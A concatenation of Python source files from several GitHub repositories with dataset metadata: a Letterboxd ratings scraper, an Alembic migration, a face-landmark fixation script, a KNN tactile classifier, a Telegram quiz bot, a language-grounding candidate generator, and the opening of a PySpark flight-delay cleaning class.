# Initialise and return driver\n return webdriver.Chrome(executable_path=DRIVER_PATH,\n chrome_options=chrome_options)\n\n\ndef validate_user_existence(username):\n if not username:\n print(\"Please enter a non-empty username\")\n sys.exit(0)\n else:\n try:\n urllib.request.urlopen(BASE_URL + username)\n except urllib.error.HTTPError as e:\n # Return code error (e.g. 404, 501, ...)\n print('HTTPError: {} {}'.format(e.code, e.reason))\n sys.exit(1)\n except urllib.error.URLError as e:\n # Not an HTTP-specific error (e.g. connection refused)\n print('URLError: {}'.format(e.reason))\n sys.exit(1)\n else:\n # 200\n print('User has been found')\n\n\ndef calc_total_pages(browser, username):\n \"\"\"\n Calculates the number of pages needed to be scraped,\n given the user's total number of film ratings.\n :return:\n \"\"\"\n browser.get(BASE_URL + username)\n ratings_section = browser.find_element_by_xpath('//section[@class=\"section ratings-histogram-chart\"]')\n print(ratings_section)\n\n total_ratings = int(ratings_section.find_element_by_class_name('all-link')\n .text\n .replace(',', ''))\n print(total_ratings)\n\n total_pages = ceil(total_ratings / RATINGS_PER_PAGE)\n\n return total_pages\n\n\ndef scrape_all_ratings(browser, username, total_pages):\n with open(username + '-ratings.csv', 'w', newline='') as output_csv:\n writer = csv.writer(output_csv)\n writer.writerow(['Name', 'Year', 'URI', 'Rating'])\n\n for page in range(1, total_pages + 1):\n browser.get(BASE_URL + username + RATINGS_PATH + str(page))\n scrape_page_ratings(browser, writer)\n\n\ndef scrape_page_ratings(browser, writer):\n film_ratings = browser.find_elements_by_class_name('poster-container')\n print(\"Total elements:\", len(film_ratings))\n\n # Regular expression for film title and year\n pattern = re.compile(r\"(?P.*) \\((?P<year>\\d{4})\\)\")\n\n # For each film, append data to csv\n for film in film_ratings:\n sys.stdout.flush()\n print(\"Next film...\")\n row = []\n try:\n print(\"Trying to hover...\")\n # Locate the mouse-over element\n hover = ActionChains(browser).move_to_element(film)\n hover.perform()\n\n print(\"Hover successful, waiting for dynamic element\")\n # Get the dynamic element\n element = WebDriverWait(browser, 5).until(\n expected_conditions.presence_of_element_located((By.CLASS_NAME, \"twipsy-inner\"))\n )\n\n print(\"Dynamic element found, finding match\")\n # Try to find a match\n match = pattern.match(element.text)\n if match is not None:\n title = match.group('title')\n year = match.group('year')\n row.append(title)\n row.append(year)\n print(title, year)\n\n except TimeoutException:\n print(\"Error, loading dynamic element took too much time!\")\n\n uri = BASE_URL + film.find_element_by_xpath('.//div[1]')\\\n .get_attribute('data-target-link')\\\n .lstrip('/')\n print(\"URI:\", uri)\n row.append(uri)\n\n rating = film.get_attribute('data-owner-rating')\n print(\"RATING:\", rating)\n row.append(rating)\n\n writer.writerow(row)\n\n\nif __name__ == '__main__':\n main()", "repo_name": "emanmacario/letterboxd-ratings-scraper", "sub_path": "scraper.py", "file_name": "scraper.py", "file_ext": "py", "file_size_in_byte": 5230, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "16", "api": [{"api_name": "os.path.join", "line_number": 26, "usage_type": "call"}, {"api_name": "os.path", "line_number": 26, "usage_type": "attribute"}, {"api_name": "os.getcwd", "line_number": 26, "usage_type": "call"}, {"api_name": "selenium.webdriver.chrome.options.Options", "line_number": 54, "usage_type": "call"}, {"api_name": "selenium.webdriver.Chrome", "line_number": 58, "usage_type": "call"}, {"api_name": "selenium.webdriver", "line_number": 58, "usage_type": "name"}, {"api_name": "sys.exit", "line_number": 65, "usage_type": "call"}, {"api_name": "urllib.request.request.urlopen", "line_number": 68, "usage_type": "call"}, {"api_name": "urllib.request.request", "line_number": 68, "usage_type": "attribute"}, {"api_name": "urllib.request", "line_number": 68, "usage_type": "name"}, {"api_name": "urllib.request.error", "line_number": 69, "usage_type": "attribute"}, {"api_name": "urllib.request", "line_number": 69, "usage_type": "name"}, {"api_name": "sys.exit", "line_number": 72, "usage_type": "call"}, {"api_name": "urllib.request.error", "line_number": 73, "usage_type": "attribute"}, {"api_name": "urllib.request", "line_number": 73, "usage_type": "name"}, {"api_name": "sys.exit", "line_number": 76, "usage_type": "call"}, {"api_name": "math.ceil", "line_number": 97, "usage_type": "call"}, {"api_name": "csv.writer", "line_number": 104, "usage_type": "call"}, {"api_name": "re.compile", "line_number": 117, "usage_type": "call"}, {"api_name": "sys.stdout.flush", "line_number": 121, "usage_type": "call"}, {"api_name": "sys.stdout", "line_number": 121, "usage_type": "attribute"}, {"api_name": "selenium.webdriver.common.action_chains.ActionChains", "line_number": 127, "usage_type": "call"}, {"api_name": "selenium.webdriver.support.ui.WebDriverWait", "line_number": 132, "usage_type": "call"}, {"api_name": "selenium.webdriver.support.expected_conditions.presence_of_element_located", "line_number": 133, "usage_type": "call"}, {"api_name": "selenium.webdriver.support.expected_conditions", "line_number": 133, "usage_type": "name"}, {"api_name": "selenium.webdriver.common.by.By.CLASS_NAME", "line_number": 133, "usage_type": "attribute"}, {"api_name": "selenium.webdriver.common.by.By", "line_number": 133, "usage_type": "name"}, {"api_name": "selenium.common.exceptions.TimeoutException", "line_number": 146, "usage_type": "name"}]} +{"seq_id": "30278252835", "text": "\"\"\"edit type of column code\n\nRevision ID: 6bde77595527\nRevises: 749a67e4589a\nCreate Date: 2023-04-12 16:43:31.001579\n\n\"\"\"\nimport sqlalchemy as sa\n\nfrom alembic import op\n\n# revision identifiers, used by Alembic.\nrevision = \"6bde77595527\"\ndown_revision = \"749a67e4589a\"\nbranch_labels = None\ndepends_on = None\n\n\ndef upgrade() -> None:\n op.alter_column(\"question\", \"code\", type_=sa.Text())\n\n\ndef downgrade() -> None:\n op.alter_column(\"question\", \"code\", type_=sa.String())\n", "repo_name": "vorobeybird/Sobesity-BE", "sub_path": "src/alembic/versions/6bde77595527_edit_type_of_column_code.py", "file_name": "6bde77595527_edit_type_of_column_code.py", "file_ext": "py", "file_size_in_byte": 476, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "16", "api": [{"api_name": "alembic.op.alter_column", "line_number": 20, "usage_type": "call"}, {"api_name": "alembic.op", "line_number": 20, "usage_type": "name"}, {"api_name": "sqlalchemy.Text", "line_number": 20, "usage_type": "call"}, {"api_name": "alembic.op.alter_column", "line_number": 24, "usage_type": "call"}, {"api_name": "alembic.op", "line_number": 24, "usage_type": "name"}, {"api_name": "sqlalchemy.String", "line_number": 24, "usage_type": "call"}]} +{"seq_id": "970877681", "text": "import cv2\nimport os\nimport json\nimport shapely\nimport shapely.ops\nimport shapely.geometry\nimport numpy as np\nimport pandas as pd\nimport matplotlib.pyplot as plt\n\nimport multiprocessing\nimport collections\n\nfrom scipy.spatial import Voronoi\nfrom PIL import Image, ImageDraw\n# import face_recognition\n\nfrom PIPNet.pipnet import PIPNet\n\nimport face_alignment\nfrom skimage import io\n\n\ndef voronoi_finite_polygons_2d(vor, radius=None):\n \"\"\"\n Reconstruct infinite voronoi regions in a 2D diagram to finite\n regions.\n Parameters\n ----------\n vor : Voronoi\n Input diagram\n radius : float, optional\n Distance to 'points at infinity'.\n Returns\n -------\n regions : list of tuples\n Indices of vertices in each revised Voronoi regions.\n vertices : list of tuples\n Coordinates for revised Voronoi vertices. Same as coordinates\n of input vertices, with 'points at infinity' appended to the\n end.\n \"\"\"\n\n if vor.points.shape[1] != 2:\n raise ValueError(\"Requires 2D input\")\n\n new_regions = []\n new_vertices = vor.vertices.tolist()\n\n center = vor.points.mean(axis=0)\n if radius is None:\n radius = vor.points.ptp().max()*2\n\n # Construct a map containing all ridges for a given point\n all_ridges = {}\n for (p1, p2), (v1, v2) in zip(vor.ridge_points, vor.ridge_vertices):\n all_ridges.setdefault(p1, []).append((p2, v1, v2))\n all_ridges.setdefault(p2, []).append((p1, v1, v2))\n\n # Reconstruct infinite regions\n for p1, region in enumerate(vor.point_region):\n vertices = vor.regions[region]\n\n if all(v >= 0 for v in vertices):\n # finite region\n new_regions.append(vertices)\n continue\n\n # reconstruct a non-finite region\n ridges = all_ridges[p1]\n new_region = [v for v in vertices if v >= 0]\n\n for p2, v1, v2 in ridges:\n if v2 < 0:\n v1, v2 = v2, v1\n if v1 >= 0:\n # finite ridge: already in the region\n continue\n\n # Compute the missing endpoint of an infinite ridge\n\n t = vor.points[p2] - vor.points[p1] # tangent\n t /= np.linalg.norm(t)\n n = np.array([-t[1], t[0]]) # normal\n\n midpoint = vor.points[[p1, p2]].mean(axis=0)\n direction = np.sign(np.dot(midpoint - center, n)) * n\n far_point = vor.vertices[v2] + direction * radius\n\n new_region.append(len(new_vertices))\n new_vertices.append(far_point.tolist())\n\n # sort region counterclockwise\n vs = np.asarray([new_vertices[v] for v in new_region])\n c = vs.mean(axis=0)\n angles = np.arctan2(vs[:,1] - c[1], vs[:,0] - c[0])\n new_region = np.array(new_region)[np.argsort(angles)]\n\n # finish\n new_regions.append(new_region.tolist())\n\n return new_regions, np.asarray(new_vertices)\n\n\n\ndef processFrame(pipnet, fixation_id, frame_number, video, norm_pos_x, norm_pos_y):\n video.set(cv2.CAP_PROP_POS_FRAMES, frame_number)\n success, image = video.read()\n\n try:\n face_detections = pipnet.detectFaces(image)\n for face_detection in face_detections:\n landmarks = pipnet.detectLandmarks(image, face_detection)\n\n # fa = face_alignment.FaceAlignment(face_alignment.LandmarksType._2D, flip_input=False, device='cpu')\n # input = image#io.imread('tmp3.jpg')\n # preds = fa.get_landmarks(input)[-1]\n\n # plot_style = dict(marker='o',\n # markersize=4,\n # linestyle='-',\n # lw=2)\n\n # pred_type = collections.namedtuple('prediction_type', ['slice', 'color'])\n # pred_types = {'face': pred_type(slice(0, 17), (0.682, 0.780, 0.909, 0.5)),\n # 'eyebrow1': pred_type(slice(17, 22), (1.0, 0.498, 0.055, 0.4)),\n # 'eyebrow2': pred_type(slice(22, 27), (1.0, 0.498, 0.055, 0.4)),\n # 'nose': pred_type(slice(27, 31), (0.345, 0.239, 0.443, 0.4)),\n # 'nostril': pred_type(slice(31, 36), (0.345, 0.239, 0.443, 0.4)),\n # 'eye1': pred_type(slice(36, 42), (0.596, 0.875, 0.541, 0.3)),\n # 'eye2': pred_type(slice(42, 48), (0.596, 0.875, 0.541, 0.3)),\n # 'lips': pred_type(slice(48, 60), (0.596, 0.875, 0.541, 0.3)),\n # 'teeth': pred_type(slice(60, 68), (0.596, 0.875, 0.541, 0.4))\n # }\n\n # print(pred_types)\n\n # fig = plt.figure(figsize=plt.figaspect(.5))\n # ax = fig.add_subplot(1, 2, 1)\n # ax.imshow(input)\n\n # for pred_type in pred_types.values():\n # ax.plot(preds[pred_type.slice, 0],\n # preds[pred_type.slice, 1],\n # color=pred_type.color, **plot_style)\n\n # ax.axis('off')\n # plt.show()\n\n except IndexError:\n pass\n\n return None\n\n\ndef processFixation(row, video, pipnet):\n fixation_id = row['id']\n start_frame_index = row['start_frame_index']\n end_frame_index = row['end_frame_index']\n norm_pos_x = row['norm_pos_x']\n norm_pos_y = row['norm_pos_y']\n\n result_sequence = ['eyes', 'nose', 'mouth']\n result_counts = [0, 0, 0]\n for current_frame_index in range(start_frame_index, end_frame_index+1):\n current_result = processFrame(pipnet, fixation_id, current_frame_index, video, norm_pos_x, norm_pos_y)\n if current_result is not None:\n bool_eyes, bool_nose, bool_mouth = current_result\n result_counts[0] += bool_eyes\n result_counts[1] += bool_nose\n result_counts[2] += bool_mouth\n\n index_max = np.argmax(result_counts)\n if result_counts[index_max] == 0:\n return 'none'\n else:\n return result_sequence[index_max]\n\n\ndef main():\n dir_recording = '2021_02_06/001'\n fn_fixations = f'{dir_recording}/exports/000/fixations.csv'\n video = cv2.VideoCapture(f'{dir_recording}/world.mp4')\n pipnet = PIPNet()\n\n df_fixations = pd.read_csv(fn_fixations)\n rows = list()\n for index,row in df_fixations.iterrows():\n print(f'Processing fixation {index}')\n row['ROI'] = processFixation(row, video, pipnet)\n rows.append(row)\n\n df_result = pd.DataFrame(rows)\n df_result.to_excel('fixations.xlsx', index=False)\n \n\n\nif __name__ == '__main__':\n main()\n", "repo_name": "JellinaP/faceMAP", "sub_path": "dl-pipnet.py", "file_name": "dl-pipnet.py", "file_ext": "py", "file_size_in_byte": 6427, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "16", "api": [{"api_name": "numpy.linalg.norm", "line_number": 83, "usage_type": "call"}, {"api_name": "numpy.linalg", "line_number": 83, "usage_type": "attribute"}, {"api_name": "numpy.array", "line_number": 84, "usage_type": "call"}, {"api_name": "numpy.sign", "line_number": 87, "usage_type": "call"}, {"api_name": "numpy.dot", "line_number": 87, "usage_type": "call"}, {"api_name": "numpy.asarray", "line_number": 94, "usage_type": "call"}, {"api_name": "numpy.arctan2", "line_number": 96, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 97, "usage_type": "call"}, {"api_name": "numpy.argsort", "line_number": 97, "usage_type": "call"}, {"api_name": "numpy.asarray", "line_number": 102, "usage_type": "call"}, {"api_name": "cv2.CAP_PROP_POS_FRAMES", "line_number": 107, "usage_type": "attribute"}, {"api_name": "numpy.argmax", "line_number": 173, "usage_type": "call"}, {"api_name": "cv2.VideoCapture", "line_number": 183, "usage_type": "call"}, {"api_name": "PIPNet.pipnet.PIPNet", "line_number": 184, "usage_type": "call"}, {"api_name": "pandas.read_csv", "line_number": 186, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 193, "usage_type": "call"}]} +{"seq_id": "29409248142", "text": "import numpy as np\nimport csv\nimport matplotlib.pyplot as plt\nimport os\nfrom sklearn import preprocessing\nfrom sklearn.model_selection import train_test_split\nfrom sklearn import neighbors\nimport sklearn\nimport pickle\n\nclassification_folder = \"/home/sashank/catkin_ws/src/tactilecloth/classification_data\"\nfolders = [\"0cloth_7feb\", \"1cloth_7feb\", \"2cloth_7feb\"]\nnum_data = 10\ntrain_data = []\ntest_data_set = [11, 12, 13, 14, 15]\nfor fn in folders:\n for i in range(num_data):\n name = (\n classification_folder\n + \"/\"\n + fn\n + \"/\"\n + str(i + 1)\n + \"/\"\n + str(i + 1)\n + \"_reskin_data.csv\"\n )\n marker_name = (\n classification_folder\n + \"/\"\n + fn\n + \"/\"\n + str(i + 1)\n + \"/\"\n + str(i + 1)\n + \"_markers.csv\"\n )\n nparr = np.loadtxt(name, delimiter=\",\")\n markerarr = np.loadtxt(marker_name, delimiter=\",\")\n train_data.append(nparr)\ntrain_data = np.vstack(train_data)\nx_train = train_data[:, :-2]\ny_train = train_data[:, -2]\nscaler = preprocessing.StandardScaler().fit(x_train)\nx_train = scaler.transform(x_train)\ntest_data_set = np.arange(num_data + 1, 16)\ntest_data = []\nfor fn in folders:\n for i in test_data_set:\n name = (\n classification_folder\n + \"/\"\n + fn\n + \"/\"\n + str(i)\n + \"/\"\n + str(i)\n + \"_reskin_data.csv\"\n )\n marker_name = (\n classification_folder\n + \"/\"\n + fn\n + \"/\"\n + str(i)\n + \"/\"\n + str(i)\n + \"_markers.csv\"\n )\n nparr = np.loadtxt(name, delimiter=\",\")\n test_data.append(nparr)\ntest_data = np.vstack(test_data)\nx_test = test_data[:, :-2]\ny_test = test_data[:, -2]\nx_test = scaler.transform(x_test)\nclf = neighbors.KNeighborsClassifier(10, weights=\"distance\")\nclf.fit(x_train, y_train)\nscore = clf.score(x_test, y_test)\nfrom sklearn.metrics import confusion_matrix\n\ny_pred = clf.predict(x_test)\nbest_cf = confusion_matrix(y_test, y_pred)\nprint(best_cf)\nfrom sklearn.metrics import balanced_accuracy_score\n\nbalanced_accuracy_score(y_test, y_pred)\nwith open(\n \"/home/sashank/catkin_ws/src/tactilecloth/scripts/clf.pickle\", \"wb\"\n) as handle:\n pickle.dump(clf, handle, protocol=2)\n", "repo_name": "sashank-tirumala/cloth_reskin_ros", "sub_path": "delta_reskin_pkg/scripts/trainer.py", "file_name": "trainer.py", "file_ext": "py", "file_size_in_byte": 2439, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "16", "api": [{"api_name": "numpy.loadtxt", "line_number": 38, "usage_type": "call"}, {"api_name": "numpy.loadtxt", "line_number": 39, "usage_type": "call"}, {"api_name": "numpy.vstack", "line_number": 41, "usage_type": "call"}, {"api_name": "sklearn.preprocessing.StandardScaler", "line_number": 44, "usage_type": "call"}, {"api_name": "sklearn.preprocessing", "line_number": 44, "usage_type": "name"}, {"api_name": "numpy.arange", "line_number": 46, "usage_type": "call"}, {"api_name": "numpy.loadtxt", "line_number": 70, "usage_type": "call"}, {"api_name": "numpy.vstack", "line_number": 72, "usage_type": "call"}, {"api_name": "sklearn.neighbors.KNeighborsClassifier", "line_number": 76, "usage_type": "call"}, {"api_name": "sklearn.neighbors", "line_number": 76, "usage_type": "name"}, {"api_name": "sklearn.metrics.confusion_matrix", "line_number": 82, "usage_type": "call"}, {"api_name": "sklearn.metrics.balanced_accuracy_score", "line_number": 86, "usage_type": "call"}, {"api_name": "pickle.dump", "line_number": 90, "usage_type": "call"}]} +{"seq_id": "4895840355", "text": "from flask import Flask\nfrom flask_sslify import SSLify\nfrom flask import request\nfrom flask import jsonify\n\nimport requests\n\nfrom config import URL, TOKEN\nfrom service import Player, write_client_json\nfrom quiz_settings import check_last_answers, questions, quiz_start, quiz_restart, quiz_results, quiz_info\n\n\napp = Flask(__name__)\nsslify = SSLify(app)\n\n\ndef check_private_message(request):\n if 'message' in request and request['message']['chat']['type'] == 'private':\n return True\n\n\ndef check_callback_query_message(request):\n if 'callback_query' in request:\n return True\n\n\n# базовая функция ответа пользователю\ndef answer_to_client(**kwargs):\n answer = {\n 'method': 'sendMessage',\n 'chat_id': '',\n 'text': '',\n }\n\n for k, v in kwargs.items():\n answer[k] = v\n\n r = requests.post(URL, json=answer)\n return r.json()\n\n\ndef make_keyboard(question_id):\n\n buttons = []\n for variable in questions[question_id]['variables']:\n button = [{\n 'text': variable,\n 'callback_data': variable\n }]\n buttons.append(button)\n\n inline_keyboard = {'inline_keyboard': buttons}\n\n return inline_keyboard\n\n\nROUTE = '/{}'.format(TOKEN)\n\n@app.route(ROUTE, methods=['POST', 'GET'])\ndef index():\n if request.method == 'POST':\n r = request.get_json()\n write_client_json(r)\n\n if check_callback_query_message(r):\n chat_id = r['callback_query']['message']['chat']['id']\n callback = r['callback_query']['data']\n current_player = Player(chat_id)\n\n if len(current_player.get_answers()) == 0:\n current_player.get_question_id(add=1)\n current_player.get_answers(add=callback)\n reply_markup = make_keyboard(current_player.get_question_id())\n answer_to_client(chat_id=chat_id, text=questions[current_player.get_question_id()]['question'], reply_markup=reply_markup)\n\n elif len(current_player.get_answers()) == len(questions):\n text = quiz_results(current_player.get_answers())\n answer_to_client(chat_id=chat_id, text=text, parse_mode='HTML')\n\n elif check_last_answers(current_player.get_question_id(), callback):\n answer_to_client(chat_id=chat_id, text='Ая-яй! Вы уже ответили на этот вопрос :)')\n player_q_id = current_player.get_question_id()\n reply_markup = make_keyboard(player_q_id)\n answer_to_client(chat_id=chat_id, text=questions[player_q_id]['question'], reply_markup=reply_markup)\n\n else:\n current_player.get_question_id(1)\n current_player.get_answers(callback)\n\n reply_markup = make_keyboard(current_player.get_question_id())\n answer_to_client(chat_id=chat_id, text=questions[current_player.get_question_id()]['question'], reply_markup=reply_markup)\n\n\n elif check_private_message(r):\n chat_id = r['message']['chat']['id']\n message = r['message']['text']\n\n if message.lower() == quiz_start:\n current_player = Player(chat_id)\n\n if current_player.player == None:\n current_player.restart_player(question_id=0, answers=[])\n reply_markup = make_keyboard(0)\n answer_to_client(chat_id=chat_id, text=questions[0]['question'], reply_markup=reply_markup)\n\n elif current_player.get_question_id() == len(questions):\n text = quiz_results(current_player.get_answers())\n answer_to_client(chat_id=chat_id, text=text, parse_mode='HTML')\n\n else:\n player_q_id = current_player.get_question_id()\n reply_markup = make_keyboard(player_q_id)\n answer_to_client(chat_id=chat_id, text=questions[player_q_id]['question'], reply_markup=reply_markup)\n\n elif message.lower() in quiz_restart:\n current_player = Player(chat_id)\n\n if current_player.player == None:\n answer_to_client(chat_id=chat_id, text='Вы еще даже не проходили викторину. Как я начну еще раз?')\n answer_to_client(chat_id=chat_id, text=\"Напишите мне лучше слово 'Викторина'!\")\n\n elif len(current_player.get_answers()) != len(questions) and len(current_player.get_answers()) > 0:\n answer_to_client(chat_id=chat_id, text=\"Вы еще не завершили викторину, чтобы начать сначала :)\")\n reply_markup = make_keyboard(current_player.get_question_id())\n answer_to_client(chat_id=chat_id, text=questions[current_player.get_question_id()]['question'], reply_markup=reply_markup)\n \n else:\n current_player.restart_player(question_id=0, answers=[])\n reply_markup = make_keyboard(0)\n answer_to_client(chat_id=chat_id, text=questions[0]['question'], reply_markup=reply_markup)\n\n else:\n answer_to_client(chat_id=chat_id, text=QUIZ_INFO)\n\n else:\n chat_id = r['message']['chat']['id']\n answer_to_client(chat_id=chat_id, text='Я работаю только с текстом, друг мой :)')\n\n return jsonify(r)\n\n\n\nif __name__ == '__main__':\n app.run()\n", "repo_name": "StepanovSerjant/SimpleTelegramQuiz", "sub_path": "app/main.py", "file_name": "main.py", "file_ext": "py", "file_size_in_byte": 5599, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "16", "api": [{"api_name": "flask.Flask", "line_number": 13, "usage_type": "call"}, {"api_name": "flask_sslify.SSLify", "line_number": 14, "usage_type": "call"}, {"api_name": "flask.request", "line_number": 18, "usage_type": "name"}, {"api_name": "flask.request", "line_number": 23, "usage_type": "name"}, {"api_name": "requests.post", "line_number": 38, "usage_type": "call"}, {"api_name": "config.URL", "line_number": 38, "usage_type": "argument"}, {"api_name": "quiz_settings.questions", "line_number": 45, "usage_type": "name"}, {"api_name": "config.TOKEN", "line_number": 57, "usage_type": "argument"}, {"api_name": "flask.request.method", "line_number": 61, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 61, "usage_type": "name"}, {"api_name": "flask.request.get_json", "line_number": 62, "usage_type": "call"}, {"api_name": "flask.request", "line_number": 62, "usage_type": "name"}, {"api_name": "service.write_client_json", "line_number": 63, "usage_type": "call"}, {"api_name": "service.Player", "line_number": 68, "usage_type": "call"}, {"api_name": "quiz_settings.questions", "line_number": 74, "usage_type": "name"}, {"api_name": "quiz_settings.questions", "line_number": 76, "usage_type": "argument"}, {"api_name": "quiz_settings.quiz_results", "line_number": 77, "usage_type": "call"}, {"api_name": "quiz_settings.check_last_answers", "line_number": 80, "usage_type": "call"}, {"api_name": "quiz_settings.questions", "line_number": 84, "usage_type": "name"}, {"api_name": "quiz_settings.questions", "line_number": 91, "usage_type": "name"}, {"api_name": "quiz_settings.quiz_start", "line_number": 98, "usage_type": "name"}, {"api_name": "service.Player", "line_number": 99, "usage_type": "call"}, {"api_name": "quiz_settings.questions", "line_number": 104, "usage_type": "name"}, {"api_name": "quiz_settings.questions", "line_number": 106, "usage_type": "argument"}, {"api_name": "quiz_settings.quiz_results", "line_number": 107, "usage_type": "call"}, {"api_name": "quiz_settings.questions", "line_number": 113, "usage_type": "name"}, {"api_name": "quiz_settings.quiz_restart", "line_number": 115, "usage_type": "name"}, {"api_name": "service.Player", "line_number": 116, "usage_type": "call"}, {"api_name": "quiz_settings.questions", "line_number": 122, "usage_type": "argument"}, {"api_name": "quiz_settings.questions", "line_number": 125, "usage_type": "name"}, {"api_name": "quiz_settings.questions", "line_number": 130, "usage_type": "name"}, {"api_name": "flask.jsonify", "line_number": 139, "usage_type": "call"}]} +{"seq_id": "5605354851", "text": "from dataStructures import ExtendedSdc, ExtendedSdcGroup, isLeafObject, \\\n objectifyLandmarks, addEmptyFigures, objectifyFiguresOfEvents\nimport itertools\n\n\n\ndef makeDirectCandidatesForEsdc(esdc):\n if esdc.hasCycle():\n return [esdc]\n esdc = ExtendedSdc.copy(esdc)\n candidates = [esdc]\n if (esdc.childIsEsdcs(\"l\") \n and len(esdc.l) == 1 and not isLeafObject(esdc.l[0])):\n\n # \"for on the right of X\"\n landmark = esdc.l[0]\n new_relations = []\n new_relations.extend(esdc.r)\n if landmark.childIsEsdcs(\"f\"):\n for e in landmark.f:\n new_relations.extend(e.standoffs())\n else:\n new_relations.extend(landmark.f)\n new_relations.extend(landmark.r)\n\n newEsdc = ExtendedSdc(esdcType=esdc.type,\n entireText=esdc.entireText,\n f=esdc.f,\n r=new_relations,\n l=landmark.l)\n\n candidates.append(newEsdc)\n\n l_words = \" \".join([w.text.lower() for w in esdc.l])\n if (esdc.type == \"OBJECT\" and esdc.childIsLeafObject(\"l\") and\n (\"right\" in l_words or \"left\" in l_words)):\n new_relations = esdc.r + esdc.l[0].f\n newEsdc = ExtendedSdc(esdcType=esdc.type,\n entireText=esdc.entireText,\n f=esdc.f,\n r=new_relations,\n l=[])\n candidates.append(newEsdc) \n\n objectifyLandmarks(candidates)\n objectifyFiguresOfEvents(candidates)\n addEmptyFigures(candidates)\n return candidates\ndef makeChildCandidates(esdc):\n\n if esdc.hasCycle():\n return []\n candidates_for_keys = []\n for key in esdc.fieldNames:\n child_candidates = []\n if esdc.childIsEsdcs(key):\n candidates = []\n for child in esdc.children(key):\n lst = []\n lst.extend(makeCandidatesForEsdc(child))\n candidates.append(lst)\n\n child_candidates.extend(itertools.product(*candidates))\n else:\n child_candidates.append(esdc.children(key))\n candidates_for_keys.append(child_candidates)\n \n candidate_esdcs = []\n for candidates in itertools.product(*candidates_for_keys):\n assert len(candidates) == len(esdc.fieldNames)\n args = dict(zip(esdc.fieldNames, candidates))\n candidate_esdcs.append(ExtendedSdc(esdcType=esdc.type,\n entireText=esdc.entireText,\n **args))\n assert len(candidates_for_keys) == len(esdc.fieldNames)\n return candidate_esdcs\ndef makeCandidatesForEsdc(esdc):\n direct_candidates = makeDirectCandidatesForEsdc(esdc)\n candidates = []\n for candidate in direct_candidates:\n candidates.extend(makeChildCandidates(candidate))\n\n return candidates\n\n\ndef makeCandidatesForEsdcGroup(esdc_group):\n candidates_for_esdc = [makeCandidatesForEsdc(esdc) for esdc in esdc_group]\n groups = []\n\n for candidates in itertools.product(*candidates_for_esdc):\n groups.append(ExtendedSdcGroup(candidates,\n entireText=esdc_group.entireText,\n score=esdc_group.score,\n metadata=esdc_group.metadata))\n\n if len(groups) == 0:\n return [esdc_group]\n else:\n return groups\n \n \n", "repo_name": "h2r/slu_core", "sub_path": "tools/esdcs/python/esdcs/candidates.py", "file_name": "candidates.py", "file_ext": "py", "file_size_in_byte": 3550, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "16", "api": [{"api_name": "dataStructures.ExtendedSdc.copy", "line_number": 10, "usage_type": "call"}, {"api_name": "dataStructures.ExtendedSdc", "line_number": 10, "usage_type": "name"}, {"api_name": "dataStructures.isLeafObject", "line_number": 13, "usage_type": "call"}, {"api_name": "dataStructures.ExtendedSdc", "line_number": 26, "usage_type": "call"}, {"api_name": "dataStructures.ExtendedSdc", "line_number": 38, "usage_type": "call"}, {"api_name": "dataStructures.objectifyLandmarks", "line_number": 45, "usage_type": "call"}, {"api_name": "dataStructures.objectifyFiguresOfEvents", "line_number": 46, "usage_type": "call"}, {"api_name": "dataStructures.addEmptyFigures", "line_number": 47, "usage_type": "call"}, {"api_name": "itertools.product", "line_number": 63, "usage_type": "call"}, {"api_name": "itertools.product", "line_number": 69, "usage_type": "call"}, {"api_name": "dataStructures.ExtendedSdc", "line_number": 72, "usage_type": "call"}, {"api_name": "itertools.product", "line_number": 90, "usage_type": "call"}, {"api_name": "dataStructures.ExtendedSdcGroup", "line_number": 91, "usage_type": "call"}]} +{"seq_id": "29387243943", "text": "from pyspark.ml.feature import StringIndexer, OneHotEncoder, Bucketizer\nfrom pyspark.sql.types import *\nfrom pyspark.sql.functions import col\nfrom pyspark.sql import functions as sf\n\n\nclass Clean:\n \"\"\"\n Conducts data preprocessing and transformation of the selected feature vectors\n \"\"\"\n\n def __init__(self, config, df, spark, sc):\n self.cfg = config\n self.spark = spark\n self.sc = sc\n self.df = self.changeVar(df)\n self.df = self.filterAndTransform(self.df)\n self.X = self.variable_selection()\n self.OneHotEncoder()\n\n def filterAndTransform(self, df):\n \"\"\"\n Removes rows containing Nan, filters out cancelled flights and creates new variables as\n the combination of the existing.\n\n \"\"\"\n\n # removing as is stated in the task along with the 'Year' and 'DepTime'\n col_to_drop = ['ArrTime',\n 'ActualElapsedTime',\n 'AirTime',\n 'TaxiIn',\n 'Diverted',\n 'CarrierDelay',\n 'WeatherDelay',\n 'NASDelay',\n 'SecurityDelay',\n 'LateAircraftDelay',\n 'Year',\n 'TailNum',\n 'CancellationCode'] # Only those 3 I added up to delay, others\n # are delayed as is stated in the task\n df = df.drop(*col_to_drop)\n\n df = df.filter(\"Cancelled == 0\") # select only those flights that happened\n df = df.drop(\"Cancelled\")\n\n df = df.drop(*[\"UniqueCarrier\",\n \"DayofMonth\",\n \"FlightNum\"]) # Droping unimportant categorical variables\n\n df = df.na.drop(\"any\")\n\n df = df.withColumn('OrigDest',\n sf.concat(sf.col('Origin'), sf.lit('_'), sf.col('Dest')))\n df = df.drop(*[\"Origin\", \"Dest\"])\n df = df.withColumn(\"Speed\", sf.round(col(\"Distance\") / col(\"CRSElapsedTime\"), 2).cast(DoubleType()))\n\n return df\n\n def changeVar(self, df):\n \"\"\"\n Ensures that variables are assigned to the right data type\n\n \"\"\"\n\n # \"ArrDelay\" and \"DepDelay\" have string type. We cast them to Integer\n df = df.withColumn(\"ArrDelay\", df[\"ArrDelay\"].cast(IntegerType()))\n df = df.withColumn(\"DepDelay\", df[\"DepDelay\"].cast(IntegerType()))\n df = df.withColumn(\"CRSDepTime\", df[\"CRSDepTime\"].cast(IntegerType()))\n df = df.withColumn(\"CRSArrTime\", df[\"CRSArrTime\"].cast(IntegerType()))\n df = df.withColumn(\"DepTime\", df[\"DepTime\"].cast(IntegerType()))\n df = 